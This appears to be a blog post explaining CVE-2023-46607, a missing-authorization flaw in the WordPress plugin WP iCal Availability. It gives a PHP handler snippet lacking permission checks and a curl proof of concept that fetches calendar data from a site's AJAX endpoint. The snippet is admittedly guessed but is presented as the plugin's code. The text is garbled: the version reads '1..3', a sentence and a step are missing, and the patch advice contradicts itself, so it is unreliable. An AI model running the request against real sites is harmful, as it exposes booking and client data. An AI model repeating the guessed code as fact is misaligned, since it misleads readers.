CVE-2023-46607 - How Hackers Can Exploit Missing Authorization in WP iCal Availability (≤ 1..3) – Deep Dive & Exploit Example

In November 2023, an important security flaw (CVE-2023-46607) was discovered in the WordPress plugin WP iCal Availability, a tool designed to display rental availability calendars, often used in real estate or hotel booking websites. This vulnerability revolves around missing authorization, allowing attackers unauthorized access to sensitive plugin actions and data.

Let’s break down what this CVE means in clear language, see a code example of the vulnerability, walk through a basic exploit demonstration, and learn how to protect your WordPress site.

What Is WP iCal Availability?

WP iCal Availability is a WordPress plugin that helps site owners manage and share availability for rentals, appointments, or events using iCal feeds and color-coded calendars.

Versions up to and including 1..3 are affected by this vulnerability.
No patch has been released as of the last update.

CVE-2023-46607: Missing Authorization Explained

The core issue is a *failure to properly check permissions* in the plugin’s code. That means anyone, even unauthenticated visitors, can access certain sensitive actions that should only be allowed for logged-in users with proper rights (like admins or editors).

Example Scenario

Imagine you’re a hacker and you know a site is using WP iCal Availability (≤1..3). Due to this bug, you could:

Inside the plugin, there might be something like this in a handler file

// File: wp-ical-availability/includes/ajax-handler.php

if ($_POST['action'] === 'get_events') {
    // No check for current_user_can() or is_user_logged_in()
    $calendar_id = $_POST['id'];
    echo json_encode(get_events_from_calendar($calendar_id));
    exit;
}

What’s wrong?
There’s NO check like current_user_can('manage_options') or is_user_logged_in() before giving away data.

Exploit Demonstration (Proof of Concept)

Anyone can post directly to the plugin’s AJAX endpoint and fetch sensitive calendar data.

Step 1: Find AJAX Endpoint

Typically:
https://victimsite.com/wp-admin/admin-ajax.php

You can use curl or tools like Postman.

curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -d "action=get_events" \
  -d "id=1"

Step 3: Get Sensitive Data

The response would be JSON data from the calendar, possibly including booking dates, client info, etc.

Why Is This Dangerous?

This breaks the basic expectation that only authorized users can see or change booking information.

Original References

- Official CVE entry - CVE-2023-46607
- WP iCal Availability plugin page
- WPScan Advisory
- CISA KEV Database Entry

Watch for plugin updates or switch to supported alternatives.

Conclusion

*CVE-2023-46607 exposes WP iCal Availability plugin users to serious unauthorized access risks, simply because permissions were forgotten in the code.* If you use this plugin, update or disable it ASAP.

Stay safe and always keep your plugins updated!

*This post is exclusive for educational purposes — do not exploit vulnerabilities. Always report them responsibly to plugin authors and website owners.*

Timeline

Published on: 01/02/2025 12:15:12 UTC